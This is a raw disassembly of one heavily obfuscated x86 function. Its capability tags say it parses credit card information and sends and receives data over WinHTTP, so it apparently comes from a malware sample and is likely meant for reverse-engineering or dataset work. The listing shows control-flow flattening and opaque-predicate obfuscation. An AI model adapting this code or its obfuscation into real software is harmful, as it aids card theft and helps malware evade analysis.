Function at 0x41f5f2
Capabilities:
Initialize winhttp library
Parse credit card information
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xa0
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x10], 0x97ff4c87
xor esi, esi
mov eax, dword [ebp - 0x10]
cmp eax, 0xeb09f7
jg 0x41f67a
cmp eax, 0xaf376a66
jg 0x41f6f2
cmp eax, 0x97ffa162
jg 0x41f7be
cmp eax, 0x8c2d7a0c
jle 0x41f99c
cmp eax, 0x8fc45ff2
jg 0x41fbf1
cmp eax, 0x8d797532
jg 0x4202fb
cmp eax, 0x8c2d7a0d
je 0x4208a5
cmp eax, 0x8cb46b41
jne 0x41f60a
imul eax, dword [ebp - 0x14], 0x6f0000
add eax, 0xfffffe18
and eax, 0xffff8000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xeef09631
jmp 0x41f60a
cmp eax, 0x3ee6d00f
jle 0x41f75b
cmp eax, 0x6449d672
jle 0x41f83b
cmp eax, 0x7476f3b4
jle 0x41faca
cmp eax, 0x7a9f4da7
jg 0x41fcb0
cmp eax, 0x77935484
jg 0x42044c
cmp eax, 0x7476f3b5
je 0x4209ba
cmp eax, 0x754acc42
jne 0x41f60a
mov edi, dword [ebp - 0x18]
shl edi, 0xf
add edi, 0xff90ff65
mov dword [ebp - 0x18], edi
push edi
call fcn.00418361
add esp, 4
push edi
push 0x6173
call fcn.0041e9b8
add esp, 8
jmp 0x420504
cmp eax, 0xd463dc2e
jg 0x41f887
cmp eax, 0xbfbf37ad
jle 0x41fa6d
cmp eax, 0xcc08c087
jg 0x41fc6f
cmp eax, 0xc8403265
jg 0x4203ff
cmp eax, 0xbfbf37ae
je 0x42096e
cmp eax, 0xbfe6e109
jne 0x41f60a
imul eax, dword [ebp - 0x14], 0xd20
add eax, 0xffffff2d
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x9ba30f71
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x48], eax
jmp 0x41f60a
cmp eax, 0x1c1889e0
jle 0x41f8f2
cmp eax, 0x2bc3a87f
jle 0x41fb9b
cmp eax, 0x37798934
jg 0x41fcf9
cmp eax, 0x31f71010
jg 0x4204c0
cmp eax, 0x2bc3a880
je 0x420a34
cmp eax, 0x3030874d
jne 0x41f60a
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x10], 0x7a9f4da8
jmp 0x41f60a
cmp eax, 0x9bcf1a35
jle 0x41fa0c
cmp eax, 0xa6bb1f9d
jg 0x41fc42
cmp eax, 0x9f96bf60
jg 0x42032d
cmp eax, 0x9bcf1a36
je 0x4208b1
cmp eax, 0x9ec10891
jne 0x41f60a
mov eax, dword [ebp - 0x18]
lea edi, [eax*4 - 0xe6]
mov dword [ebp - 0x18], edi
push 0x4fdd
push 0x4316
push edi
call fcn.00414a28
add esp, 0xc
push edi
push 0x3a98
call fcn.00414adc
add esp, 8
mov eax, 0xa44fd18
cmp edi, 0xc
jae 0x420cbe
mov eax, 0x954b2813
jmp 0x420cbe
cmp eax, 0x4fa28284
jle 0x41fb63
cmp eax, 0x5b64d411
jle 0x41fdb1
cmp eax, 0x5d210e9d
jg 0x4201ab
cmp eax, 0x5b64d412
je 0x420706
cmp eax, 0x5bcfb7b5
jne 0x41f60a
mov eax, dword [ebp + 0xc]
mov dword [eax], 0
mov dword [ebp - 0x10], 0x890b39ae
jmp 0x41f60a
cmp eax, 0xeef09630
jg 0x41f94e
cmp eax, 0xe6572b22
jle 0x41fdee
cmp eax, 0xe93979ee
jg 0x420080
cmp eax, 0xe6572b23
je 0x4205cc
cmp eax, 0xe90ef2ed
jne 0x41f60a
mov edi, dword [ebp - 0x18]
add edi, 0xffffffd1
mov dword [ebp - 0x18], edi
push edi
push 0x5da0
push 0x37ec
call fcn.0041f51e
add esp, 0xc
mov eax, 0x86873a32
cmp edi, 0x3b
jae 0x420cbe
mov eax, 0xe6572b23
jmp 0x420cbe
cmp eax, 0xa44fd17
jg 0x41fb0a
cmp eax, 0x4425cdc
jle 0x41ff9f
cmp eax, 0x75a5d0b
jg 0x42022a
cmp eax, 0x4425cdd
je 0x4207bc
cmp eax, 0x55e53d6
jne 0x41f60a
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
add eax, eax
push eax
push dword [ebp - 0x88]
push dword [ebp - 0x30]
call fcn.00447850
add esp, 0xc
mov dword [ebp - 0x10], 0x5b64d412
jmp 0x41f60a
cmp eax, 0xf6c53368
jle 0x41fe3a
cmp eax, 0xfb4e5550
jg 0x4200b4
cmp eax, 0xf6c53369
je 0x4205e1
cmp eax, 0xf6c8217e
jne 0x41f60a
mov eax, dword [ebp - 0x3c]
movzx ecx, word [0x46d97e]
mov word [eax + 4], cx
mov ecx, dword [0x46d97a]
mov dword [eax], ecx
mov dword [ebp - 0x10], 0xdf54df61
jmp 0x41f60a
cmp eax, 0x86873a31
jle 0x41fe67
cmp eax, 0x890b39ad
jg 0x4200fa
cmp eax, 0x86873a32
je 0x420682
cmp eax, 0x8711ec9b
jne 0x41f60a
cmp dword [ebp - 0x70], 0
mov eax, 0xeab2a06a
jne 0x41f9d8
mov eax, 0x9ba30f71
cmp byte [ebp - 0x2a], 0
jne 0x41f9e3
mov eax, 0x9ba30f71
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x6c]
mov edi, dword [ebp - 0x6c]
mov ebx, dword [ebp - 0x70]
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp + 0x10]
jmp 0x41f60a
cmp eax, 0x99ae35cc
jle 0x41fed2
cmp eax, 0x9b505cb5
jg 0x42011c
cmp eax, 0x99ae35cd
je 0x4206a3
cmp eax, 0x9b03c4be
jne 0x41f60a
mov eax, dword [ebp - 0x14]
mov ecx, 0xfffffe92
add eax, ecx
mov ecx, eax
shl ecx, 0xf
imul eax, eax
imul edx, eax, 0x802d
or ecx, 0x1b
dec edx
mov dword [ebp - 0x14], ecx
mov ecx, 0xe0ae09ed
cmp eax, edx
je 0x41fa65
mov ecx, 0x58fb4800
mov dword [ebp - 0x10], ecx
jmp 0x41f60a
cmp eax, 0xbaaf962c
jle 0x41ff22
cmp eax, 0xbd984fe5
jg 0x420153
cmp eax, 0xbaaf962d
je 0x4206c8
cmp eax, 0xbb98ae39
jne 0x41f60a
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x78]
add eax, ecx
inc eax
push eax
push dword [ebp - 0x74]
call fcn.004587a1
add esp, 8
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
mov eax, 0xbfe6e109
je 0x420bed
mov eax, 0xab37cb0b
jmp 0x420bed
cmp eax, 0x6c4ba64b
jle 0x41ff4f
cmp eax, 0x71c813f7
jg 0x4201e8
cmp eax, 0x6c4ba64c
je 0x420769
cmp eax, 0x71ad832a
jne 0x41f60a
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x10], 0x1c1889e1
jmp 0x41f60a
cmp eax, 0x1347f9d3
jle 0x41ffd8
cmp eax, 0x1866a9ba
jg 0x420255
cmp eax, 0x1347f9d4
je 0x4207cb
cmp eax, 0x1749ce0c
jne 0x41f60a
mov eax, dword [ebp - 0x14]
shr eax, 4
lea ecx, [eax - 0x26]
imul ecx, ecx
imul edx, ecx, 0x6eb1
dec edx
mov dword [ebp - 0x14], eax
mov eax, 0x9ec10891
cmp edx, ecx
je 0x420cbe
mov eax, 0xeb09f8
jmp 0x420cbe
cmp eax, 0x44e38a11
jle 0x42000c
cmp eax, 0x47a8eca4
jg 0x420295
cmp eax, 0x44e38a12
je 0x420813
cmp eax, 0x472e4a92
jne 0x41f60a
mov dword [ebp - 0x10], 0x3ee6d010
jmp 0x41f60a
cmp eax, 0x24608b52
jle 0x420046
cmp eax, 0x28d9e977
jg 0x4202c9
cmp eax, 0x24608b53
je 0x420855
cmp eax, 0x26f93f81
jne 0x41f60a
push 0x400
push 0
push dword [ebp - 0x30]
call fcn.00448350
add esp, 0xc
mov eax, dword [ebp - 0x1c]
add eax, 0x10
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x10], 0x8fc45ff3
jmp 0x41f60a
cmp eax, 0x97d672a7
jg 0x420384
cmp eax, 0x8fc45ff3
je 0x4208bd
cmp eax, 0x954b2813
jne 0x41f60a
imul ecx, dword [ebp - 0x18], 0x34000
add ecx, 0xfff96800
mov eax, ecx
shr eax, 0xd
mov dword [ebp - 0x18], eax
mov eax, 0xaf376a67
cmp ecx, 0xac000
jb 0x420cbe
mov eax, 0x86873a32
jmp 0x420cbe
cmp eax, 0xab32c59c
jg 0x4203af
cmp eax, 0xa6bb1f9e
je 0x4208d7
cmp eax, 0xaa6cd37d
jne 0x41f60a
mov dword [ebp - 0x10], 0x52bbfe74
jmp 0x41f60a
cmp eax, 0xcfb13057
jg 0x42042a
cmp eax, 0xcc08c088
je 0x420996
cmp eax, 0xce5130ff
jne 0x41f60a
mov eax, dword [ebp - 0x14]
shr eax, 4
imul eax, eax, 0x700000
add eax, 0x4b0000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x71ad832a
jmp 0x41f60a
cmp eax, 0x7d4c09df
jg 0x420492
cmp eax, 0x7a9f4da8
je 0x4209e8
cmp eax, 0x7c95ec21
jne 0x41f60a
mov eax, dword [ebp - 0x18]
add eax, 0x5d
shr eax, 0xa
lea ecx, [eax + eax]
add ecx, 0xffffffd2
mov dword [ebp - 0x18], ecx
mov eax, 0x3018cd3
cmp ecx, 0xc6
jb 0x4205c2
jmp 0x420cbe
cmp eax, 0x3e054c27
jg 0x4204e2
cmp eax, 0x37798935
je 0x420a7d
cmp eax, 0x3dde3bb0
jne 0x41f60a
mov edi, dword [ebp - 0x18]
shl edi, 0x10
mov ebx, 0x2cdc033
add edi, 0xffba0000
mov dword [ebp - 0x18], edi
je 0x41fd35
mov ebx, 0x7e6487db
push 0x2bda
push 0x54f2
push 0x5c9d
push 0x36de
push 0x3ca5
push 0x1db4
push 0x4865
push 0x4824
push 0x3477
push 0x456b
push 0x2d4e
push edi
push 0x4fff
push 0x5e55
call fcn.0041b7cd
add esp, 0x38
push 0x2867
push 0x31c6
push 0x89d
push 0x31a5
push 0x3884
push 0xa0f
push edi
call fcn.0041d59f
add esp, 0x1c
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp + 0x10]
jmp 0x41f60a
cmp eax, 0x560652fd
jg 0x420510
cmp eax, 0x4fa28285
je 0x4205a1
cmp eax, 0x52bbfe74
jne 0x41f60a
cmp dword [ebp - 0x9c], 0
mov eax, 0x47a8eca5
je 0x420bed
mov eax, 0xf6c53369
jmp 0x420bed
cmp eax, 0xdf54df60
jg 0x42054b
cmp eax, 0xd463dc2f
je 0x42058c
cmp eax, 0xdb186948
jne 0x41f60a
mov eax, dword [ebp - 0x7c]
xor ecx, ecx
dec ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
add eax, 0x14
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
add eax, 0x30
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x10], 0x965590
jmp 0x41f60a
cmp eax, 0xeef09631
je 0x420b98
cmp eax, 0xf1e17779
je 0x420add
cmp eax, 0xf4db464e
jne 0x41f60a
mov dword [ebp - 0x10], 0xaf376a67
jmp 0x41f60a
cmp eax, 0x80bd0680
je 0x420bc2
cmp eax, 0x80f48718
je 0x420afb
cmp eax, 0x82f8b995
jne 0x41f60a
mov eax, dword [ebp - 0x18]
and eax, 0xfffffff8
shl eax, 0x1a
or eax, 0x378000
imul eax, eax, 0xe5
mov dword [ebp - 0x18], eax
push 0x5caa
push 0x3807
push 0x276a
push 0x5ee6
push 0x44ce
push eax
push 0x2441
call fcn.0041807e
add esp, 0x1c
mov dword [ebp - 0x10], 0x7c95ec21
jmp 0x41f60a
cmp eax, 0x97ffa163
je 0x420bda
cmp eax, 0x994678c2
je 0x420b18
cmp eax, 0x995e198d
jne 0x41f60a
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
cmp dword [eax], 2
sete cl
shl ecx, 0x17
mov dword [ebp - 0x90], ecx
mov eax, dword [ebp - 0x1c]
add eax, 0x2c
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x10], 0x1b599df1
jmp 0x41f60a
cmp eax, 0xaf376a67
je 0x420bf5
cmp eax, 0xb20ab613
je 0x420b51
cmp eax, 0xb8531cfc
jne 0x41f60a
mov dword [ebp - 0x10], 0x8711ec9b
jmp 0x41f60a
cmp eax, 0x6449d673
je 0x420c55
cmp eax, 0x6710ffc4
je 0x420ba4
cmp eax, 0x6b01529d
jne 0x41f60a
mov eax, dword [ebp - 0x14]
mov ecx, eax
shr ecx, 0xd
imul ecx, ecx
imul edx, ecx, 0x3aad
dec edx
shr eax, 0x11
mov dword [ebp - 0x14], eax
mov eax, 0x26f93f81
cmp ecx, edx
je 0x420cbe
mov eax, 0x8c2d7a0d
jmp 0x420cbe
cmp eax, 0xeb09f8
je 0x420c91
cmp eax, 0x2cdc033
je 0x420c10
cmp eax, 0x3018cd3
jne 0x41f60a
mov eax, dword [ebp - 0x1c]
add eax, 0xc
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x10], 0x995e198d
jmp 0x41f60a
cmp eax, 0xa44fd18
je 0x420ca3
cmp eax, 0xb591a97
je 0x420c3e
cmp eax, 0xf2b4d5a
jne 0x41f60a
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
mov dword [ebx], esi
mov dword [ebp - 0x10], 0x4186aba2
jmp 0x41f60a
cmp eax, 0x3ee6d010
je 0x420cc6
cmp eax, 0x403530b5
je 0x420c61
cmp eax, 0x4186aba2
jne 0x41f60a
mov eax, dword [ebp - 0x14]
shl eax, 5
add eax, 0xfffffa00
and eax, 0xffffff80
imul eax, eax, 0x1bc
jmp 0x4206f7
cmp eax, 0x1c1889e1
je 0x420cd5
cmp eax, 0x1c9c7716
je 0x420c79
cmp eax, 0x201a69a6
jne 0x41f60a
cmp dword [ebp - 0x24], 0
mov eax, 0x97d672a8
je 0x420bed
mov eax, 0x6710ffc4
jmp 0x420bed
cmp eax, 0xe93979ef
je 0x4205fe
cmp eax, 0xeab2a06a
jne 0x41f60a
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x10], 0x6449d673
jmp 0x41f60a
cmp eax, 0xfb4e5551
je 0x420636
cmp eax, 0x965590
jne 0x41f60a
mov ecx, dword [ebp - 0x14]
shr ecx, 9
lea eax, [ecx + 0x88]
imul ecx, ecx
imul edx, ecx, 0x2097
dec edx
mov dword [ebp - 0x14], eax
mov eax, 0x2bc3a880
cmp ecx, edx
je 0x420bed
mov eax, 0x994678c2
jmp 0x420bed
cmp eax, 0x890b39ae
je 0x4206b6
cmp eax, 0x8bad9a29
jne 0x41f60a
mov dword [ebp - 0x10], 0xf2b4d5a
jmp 0x41f60a
cmp eax, 0x9b505cb6
je 0x420504
cmp eax, 0x9ba30f71
jne 0x41f60a
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], 0xb591a97
jmp 0x41f60a
cmp eax, 0xbd984fe6
je 0x4206e5
cmp eax, 0xbf2b47ba
jne 0x41f60a
imul edi, dword [ebp - 0x18], 0x17800
add edi, 0x1e7c
mov dword [ebp - 0x18], edi
push edi
push 0x375a
call fcn.00418e9d
add esp, 8
push edi
call fcn.00414d77
add esp, 4
mov eax, 0x86873a32
cmp edi, 0xdb
jl 0x420cbe
mov eax, 0x2a6dfe1d
jmp 0x420cbe
cmp eax, 0x5d210e9e
je 0x42072d
cmp eax, 0x622d6a01
jne 0x41f60a
mov ecx, dword [ebp - 0x18]
shl ecx, 0x17
add ecx, 0xd7fff5f
mov dword [ebp - 0x18], ecx
mov eax, 0x754acc42
cmp ecx, 0x3f
jge 0x420cbe
mov eax, 0x3dde3bb0
jmp 0x420cbe
cmp eax, 0x71c813f8
je 0x420787
cmp eax, 0x71f59ce6
jne 0x41f60a
push dword [ebp - 0x34]
push dword [ebp - 0x78]
push dword [ebp - 0xa4]
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
add eax, dword [ebp - 0x44]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x10], 0x28d9e978
jmp 0x41f60a
cmp eax, 0x75a5d0c
je 0x4207e6
cmp eax, 0x85c5cf7
jne 0x41f60a
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 0x10], 0xbd984fe6
jmp 0x41f60a
cmp eax, 0x1866a9bb
je 0x4207f5
cmp eax, 0x1b599df1
jne 0x41f60a
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov word [eax + 6], 0
mov dword [ebp - 0x10], 0xf6c8217e
jmp 0x41f60a
cmp eax, 0x47a8eca5
je 0x420836
cmp eax, 0x4d1d7095
jne 0x41f60a
push dword [ebp - 0x28]
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
setne byte [ebp - 0x29]
mov dword [ebp - 0x10], 0xce5130ff
jmp 0x41f60a
cmp eax, 0x28d9e978
je 0x420895
cmp eax, 0x2a6dfe1d
jne 0x41f60a
push esi
push esi
push esi
push esi
push dword [ebp - 0x38]
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x10], 0x79c0952b
jmp 0x41f60a
cmp eax, 0x8d797533
je 0x4208fd
cmp eax, 0x8d9b8c94
jne 0x41f60a
imul eax, dword [ebp - 0x14], 0x130
add eax, 0x4c
shr eax, 2
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xbaaf962d
jmp 0x41f60a
cmp eax, 0x9f96bf61
je 0x42092b
cmp eax, 0xa38b3576
jne 0x41f60a
mov eax, 3
push eax
push 0x46d980
push eax
push dword [ebp - 0x3c]
call fcn.00426d60
add esp, 0x10
push dword [ebp - 0x90]
push esi
push esi
push esi
push dword [ebp - 0x98]
push dword [ebp - 0x3c]
push dword [ebp - 0x54]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], 0x1347f9d4
jmp 0x41f60a
cmp eax, 0x97d672a8
je 0x420940
cmp eax, 0x97ff4c87
jne 0x41f60a
push eax
sub esp, 0x38
mov eax, esp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0x1c9c7716
jmp 0x41f60a
cmp eax, 0xab32c59d
je 0x42094c
cmp eax, 0xab37cb0b
jne 0x41f60a
mov ecx, dword [ebp - 0x14]
lea eax, [ecx - 0x93]
imul eax, eax
imul edx, eax, 0x5529
lea ecx, [ecx*8 - 0x398]
and ecx, 0xffffffe0
dec edx
add ecx, 0x4a
mov dword [ebp - 0x14], ecx
mov ecx, 0x37798935
cmp edx, eax
je 0x420d05
mov ecx, 0x4425cdd
jmp 0x420d05
cmp eax, 0xc8403266
je 0x4209a2
cmp eax, 0xcb85f81e
jne 0x41f60a
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov dword [ebp - 0x10], 0xf1e17779
jmp 0x41f60a
cmp eax, 0xcfb13058
je 0x4209ae
cmp eax, 0xd0c2f2e7
jne 0x41f60a
mov dword [ebp - 0x10], 0x201a69a6
jmp 0x41f60a
cmp eax, 0x77935485
je 0x420a08
cmp eax, 0x79c0952b
jne 0x41f60a
mov ecx, dword [ebp - 0x14]
shr ecx, 0xe
imul eax, ecx, 0x1f0
imul ecx, ecx
imul edx, ecx, 0x7193
dec edx
mov dword [ebp - 0x14], eax
mov eax, 0x622d6a01
cmp ecx, edx
je 0x420bed
mov eax, 0x472e4a92
jmp 0x420bed
cmp eax, 0x7d4c09e0
je 0x420a25
cmp eax, 0x7e6487db
jne 0x41f60a
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], 0xcc08c088
jmp 0x41f60a
cmp eax, 0x31f71011
je 0x420a9d
cmp eax, 0x3517361b
jne 0x41f60a
mov dword [ebp - 0x10], 0x3018cd3
jmp 0x41f60a
cmp eax, 0x3e054c28
je 0x420aac
cmp eax, 0x3ea804d9
jne 0x41f60a
mov dword [ebp - 0x10], 0x99ae35cd
jmp 0x41f60a
mov dword [ebp - 0x10], 0x403530b5
jmp 0x41f60a
cmp eax, 0x560652fe
jne 0x420d0d
mov eax, dword [ebp - 0x18]
shl eax, 0x10
and eax, 0x7ff0000
lea eax, [eax + eax*8]
lea ecx, [eax*8 - 0x9d]
mov dword [ebp - 0x18], ecx
mov eax, 0xfb4e5551
cmp ecx, 6
jge 0x420cbe
mov eax, 0x82f8b995
jmp 0x420cbe
cmp eax, 0xdf54df61
jne 0x420d19
mov ecx, dword [ebp - 0x14]
lea eax, [ecx + 0x6e]
add ecx, 0xffffff9d
imul eax, eax
shr ecx, 4
imul edx, eax, 0x1f8b
dec edx
imul ecx, ecx, 0x87
mov dword [ebp - 0x14], ecx
mov ecx, 0x7e6487db
cmp edx, eax
je 0x420d05
mov ecx, 0xa38b3576
jmp 0x420d05
push dword [ebp - 0x50]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 0x10], 0x9b03c4be
jmp 0x41f60a
mov eax, dword [ebp - 0x18]
lea ecx, [eax*4 + 0x3dc]
shr ecx, 0xe
add ecx, 0xffffff97
mov dword [ebp - 0x18], ecx
mov eax, 0x2a6dfe1d
cmp ecx, 0x44
je 0x420cbe
mov eax, 0x7e6487db
jmp 0x420cbe
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov dword [ebp - 0x10], 0x8cb46b41
jmp 0x41f60a
push 0
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x10], 0x97ffa163
jmp 0x41f60a
imul edi, dword [ebp - 0x18], 0x69
add edi, 0x25bc
mov dword [ebp - 0x18], edi
push edi
push 0x15a2
push 0x958
call fcn.0041f5f2
add esp, 0xc
mov eax, 0x37798935
cmp edi, 0x25
jge 0x420cbe
mov eax, 0xbb98ae39
jmp 0x420cbe
mov ecx, dword [ebp - 0x18]
add ecx, 0x31
shr ecx, 3
and ecx, 0x1ffff000
mov eax, ecx
shl eax, 8
sub eax, ecx
sub eax, ecx
mov edi, 0x37798935
add eax, 0x594c000
mov dword [ebp - 0x18], eax
je 0x420662
mov edi, 0x4fa28285
push eax
push 0x6079
push 0x5a99
push 0x394
call fcn.0041aeb5
add esp, 0x10
mov dword [ebp - 0x10], edi
jmp 0x41f60a
cmp dword [ebp - 0x50], 0
sete byte [ebp - 0x1d]
cmp byte [ebp - 0x1d], 0
mov eax, 0xc8403266
jne 0x420bed
mov eax, 0x7d4c09e0
jmp 0x420bed
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
mov dword [ebx], esi
mov dword [ebp - 0x10], 0x1749ce0c
jmp 0x41f60a
mov dword [ebx], 0
mov dword [ebp - 0x10], 0x7476f3b5
jmp 0x41f60a
mov eax, dword [ebp - 0xac]
mov dword [ebx], eax
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 0x10], 0x9f96bf61
jmp 0x41f60a
imul eax, dword [ebp - 0x14], 0x134
shr eax, 1
and eax, 0xfffffff0
imul eax, eax, 0x3780
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x9f96bf61
jmp 0x41f60a
imul eax, dword [ebp - 0x14], 0xde00
add eax, 0xc24000
shr eax, 1
and eax, 0x7ffff00
add eax, 0xffffff25
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x71c813f8
jmp 0x41f60a
mov eax, dword [ebp - 0x18]
lea edi, [eax + eax*2]
shl edi, 3
sub edi, eax
shr edi, 6
mov dword [ebp - 0x18], edi
push 0x29ff
push edi
push 0x3ced
call fcn.00418b59
add esp, 0xc
mov eax, 0x1866a9bb
cmp edi, 0xc
je 0x420cbe
mov eax, 0x994678c2
jmp 0x420cbe
imul eax, dword [ebp - 0x14], 0x7b0000
shr eax, 0x19
add eax, 0xb2
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x2a6dfe1d
jmp 0x41f60a
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax + 0x18]
push 0
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x50]
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x54], 0
mov eax, 0xc8403266
je 0x420bed
mov eax, 0x3517361b
jmp 0x420bed
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], 0xcb85f81e
jmp 0x41f60a
mov eax, dword [ebp - 0x14]
shl eax, 0x1b
lea eax, [eax + eax*2]
shr eax, 6
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xd0c2f2e7
jmp 0x41f60a
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], 0x9bcf1a36
jmp 0x41f60a
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x3c
mov eax, dword [ebp - 0x1c]
add eax, 8
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x10], 0xdb186948
jmp 0x41f60a
mov ecx, dword [ebp - 0x18]
mov eax, 0x166
add ecx, eax
mov dword [ebp - 0x18], ecx
mov eax, 0xab32c59d
cmp ecx, 0xfb
jl 0x420c9c
jmp 0x420cbe
mov eax, dword [ebp - 0x14]
shr eax, 9
add eax, eax
add eax, 0xffffff00
shr eax, 9
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x8c2d7a0d
jmp 0x41f60a
imul edi, dword [ebp - 0x18], 0x7118
add edi, 0xffffff51
mov dword [ebp - 0x18], edi
push 0x56ff
push 0x2bb7
push 0x1560
push edi
call fcn.0041a3f1
add esp, 0x10
mov eax, 0x8d797533
cmp edi, 0x12
jae 0x420cbe
mov eax, 0xaf376a67
jmp 0x420cbe
shl dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], 0x31f71011
jmp 0x41f60a
mov dword [ebp - 0x10], 0xcfb13058
jmp 0x41f60a
mov dword [ebp - 0x10], 0xe6572b23
jmp 0x41f60a
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x10], 0x55e53d6
jmp 0x41f60a
push dword [ebp - 0x28]
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
setne byte [ebp - 0x2a]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x10], 0x80f48718
jmp 0x41f60a
mov eax, dword [ebp - 0x38]
mov word [eax + 0xde], 0
mov eax, 0xde
push eax
push str.fM0J
push dword [ebp - 0x38]
call fcn.00447850
add esp, 0xc
mov dword [ebp - 0x10], 0x37798935
jmp 0x41f60a
push dword [ebp - 0x54]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 0x10], 0xeb09f8
jmp 0x41f60a
mov dword [ebp - 0x10], 0x8bad9a29
jmp 0x41f60a
imul ecx, dword [ebp - 0x18], 0x6d60
mov dword [ebp - 0x18], ecx
mov eax, 0x2a6dfe1d
cmp ecx, 0x44
jl 0x420cbe
mov eax, 0x403530b5
jmp 0x420cbe
mov eax, 0xb20ab613
cmp dword [ebp - 0x68], esi
jne 0x42097d
mov eax, 0x9ba30f71
cmp byte [ebp - 0x29], 0
jne 0x420988
mov eax, 0x9ba30f71
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], esi
jmp 0x41f60a
mov dword [ebp - 0x10], 0x9b505cb6
jmp 0x41f60a
mov dword [ebp - 0x10], 0x3ea804d9
jmp 0x41f60a
mov dword [ebp - 0x10], 0x5bcfb7b5
jmp 0x41f60a
mov eax, dword [ebp - 0x14]
shr eax, 3
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5f
dec edx
add eax, 0x86
mov dword [ebp - 0x14], eax
mov eax, 0x3030874d
cmp ecx, edx
je 0x420cbe
mov eax, 0x85c5cf7
jmp 0x420cbe
mov eax, dword [ebp - 0x14]
shl eax, 5
add eax, 0xfffff140
shr eax, 0xe
add eax, 0xffffffa5
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xaa6cd37d
jmp 0x41f60a
mov eax, dword [ebp - 0x18]
add eax, 0x4f
shr eax, 9
add eax, 0xce
mov dword [ebp - 0x18], eax
